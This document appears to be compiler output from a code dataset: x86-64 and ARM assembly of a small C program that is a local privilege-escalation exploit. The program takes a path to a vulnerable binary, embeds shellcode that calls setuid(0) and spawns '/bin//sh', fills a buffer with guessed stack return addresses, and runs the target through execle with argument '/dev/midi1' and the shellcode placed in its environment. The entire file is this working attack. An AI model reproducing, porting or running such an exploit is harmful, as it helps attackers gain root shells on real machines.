	.file	"extr_28288.c_main.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC0:
	.string	"Use : %s <path_to_vuln>\n"
.LC1:
	.string	"/dev/midi1"
	.section	.text.startup,"ax",@progbits
	.p2align 4
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	push	r15
	push	r14
	push	r13
	.cfi_offset 15, -24
	.cfi_offset 14, -32
	.cfi_offset 13, -40
	mov	r13, rsi
	push	r12
	push	rbx
	sub	rsp, 72
	.cfi_offset 12, -48
	.cfi_offset 3, -56
	movdqa	xmm0, XMMWORD PTR .LC2[rip]
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -56[rbp], rax
	xor	eax, eax
	mov	DWORD PTR -72[rbp], -511093934
	movabs	rax, -2050986756392654744
	mov	QWORD PTR -80[rbp], rax
	mov	eax, -32563
	mov	WORD PTR -68[rbp], ax
	mov	BYTE PTR -66[rbp], 0
	movaps	XMMWORD PTR -96[rbp], xmm0
	cmp	edi, 1
	jle	.L16
	movsx	rax, DWORD PTR BUFSIZE[rip]
	lea	rdi, -96[rbp]
	mov	rcx, rsp
	mov	QWORD PTR -104[rbp], 0
	mov	QWORD PTR -112[rbp], rdi
	mov	r12, rsp
	add	rax, 15
	mov	rdx, rax
	and	rax, -4096
	sub	rcx, rax
	and	rdx, -16
	mov	rax, rcx
.L4:
	cmp	rsp, rax
	je	.L5
	sub	rsp, 4096
	or	QWORD PTR 4088[rsp], 0
	jmp	.L4
.L16:
	mov	rdx, QWORD PTR [rsi]
	mov	edi, DWORD PTR stderr[rip]
	lea	rsi, .LC0[rip]
	call	fprintf@PLT
.L3:
	mov	rax, QWORD PTR -56[rbp]
	xor	rax, QWORD PTR fs:40
	jne	.L17
	lea	rsp, -40[rbp]
	xor	eax, eax
	pop	rbx
	pop	r12
	pop	r13
	pop	r14
	pop	r15
	pop	rbp
	.cfi_remember_state
	.cfi_def_cfa 7, 8
	ret
.L5:
	.cfi_restore_state
	and	edx, 4095
	sub	rsp, rdx
	test	rdx, rdx
	jne	.L18
.L6:
	movsx	rbx, DWORD PTR ALIGNMENT[rip]
	mov	r14, rsp
	call	strlen@PLT
	mov	rdi, QWORD PTR 8[r13]
	mov	r15d, eax
	add	rbx, rsp
	call	strlen@PLT
	mov	edx, DWORD PTR BUFSIZE[rip]
	add	r15d, eax
	mov	eax, -1073741830
	sub	eax, r15d
	cmp	edx, 4
	jle	.L7
	sub	edx, 5
	shr	edx, 2
	lea	rdx, 4[rbx+rdx*4]
	.p2align 4,,10
	.p2align 3
.L8:
	add	rbx, 4
	mov	DWORD PTR -4[rbx], eax
	cmp	rbx, rdx
	jne	.L8
.L7:
	mov	rdi, QWORD PTR 8[r13]
	lea	r8, -112[rbp]
	xor	ecx, ecx
	mov	rdx, r14
	lea	rsi, .LC1[rip]
	call	execle@PLT
	mov	rsp, r12
	jmp	.L3
.L18:
	or	QWORD PTR -8[rsp+rdx], 0
	jmp	.L6
.L17:
	call	__stack_chk_fail@PLT
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.comm	stderr,4,4
	.comm	BUFSIZE,4,4
	.comm	ALIGNMENT,4,4
	.section	.rodata.cst16,"aM",@progbits,16
	.align 16
.LC2:
	.quad	7674360106348713834
	.quad	8299904763375998987
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_28288.c_main.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC1:
	.ascii	"Use : %s <path_to_vuln>\012\000"
	.align	2
.LC2:
	.ascii	"/dev/midi1\000"
	.align	2
.LC0:
	.ascii	"j\027X1\333\315\200j\013X\231Rh//shh/bin\211\343RS\211"
	.ascii	"\341\315\200\000"
	.section	.rodata.cst4,"aM",%progbits,4
	.align	2
.LC3:
	.word	__stack_chk_guard
	.section	.text.startup,"ax",%progbits
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 48
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, r8, r9, fp, lr}
	add	fp, sp, #28
	sub	sp, sp, #56
	ldr	lr, .L12
	sub	ip, fp, #64
	mov	r7, r1
	cmp	r0, #1
	ldmia	lr!, {r0, r1, r2, r3}
	stmia	ip!, {r0, r1, r2, r3}
	ldm	lr, {r0, r1, r2, r3}
	stmia	ip!, {r0, r1, r2}
	lsr	r2, r3, #16
	strh	r3, [ip], #2	@ movhi
	ldr	r3, .L12+4
	ldr	r3, [r3]
	str	r3, [fp, #-32]
	mov	r3,#0
	strb	r2, [ip]
	ble	.L10
	mov	r2, #0
	ldr	r1, .L12+8
	ldr	r3, .L12+12
	ldr	r5, [r1]
	ldr	r4, [r3]
	add	r3, r5, #7
	bic	r3, r3, #7
	sub	r0, fp, #64
	mov	r6, sp
	sub	sp, sp, r3
	str	r2, [fp, #-68]
	str	r0, [fp, #-72]
	bl	strlen
	ldr	r7, [r7, #4]
	mov	r9, r0
	mov	r0, r7
	bl	strlen
	mvn	r3, #1073741829
	add	r8, sp, #8
	add	r0, r9, r0
	cmp	r5, #4
	add	r4, r8, r4
	sub	r0, r3, r0
	ble	.L4
	sub	r3, r5, #5
	bic	r3, r3, #3
	add	r3, r3, #4
	add	r3, r4, r3
.L5:
	str	r0, [r4], #4
	cmp	r4, r3
	bne	.L5
.L4:
	sub	r3, fp, #72
	str	r3, [sp]
	mov	r2, r8
	mov	r0, r7
	mov	r3, #0
	ldr	r1, .L12+16
	bl	execle
	mov	sp, r6
.L3:
	ldr	r3, .L12+4
	ldr	r2, [r3]
	ldr	r3, [fp, #-32]
	eors	r2, r3, r2
	mov	r3, #0
	bne	.L11
	mov	r0, #0
	sub	sp, fp, #28
	@ sp needed
	pop	{r4, r5, r6, r7, r8, r9, fp, pc}
.L10:
	ldr	r3, .L12+20
	ldr	r2, [r7]
	ldr	r0, [r3]
	ldr	r1, .L12+24
	bl	fprintf
	b	.L3
.L11:
	bl	__stack_chk_fail
.L13:
	.align	2
.L12:
	.word	.LC0
	.word	.LC3
	.word	BUFSIZE
	.word	ALIGNMENT
	.word	.LC2
	.word	stderr
	.word	.LC1
	.size	main, .-main
	.comm	stderr,4,4
	.comm	BUFSIZE,4,4
	.comm	ALIGNMENT,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
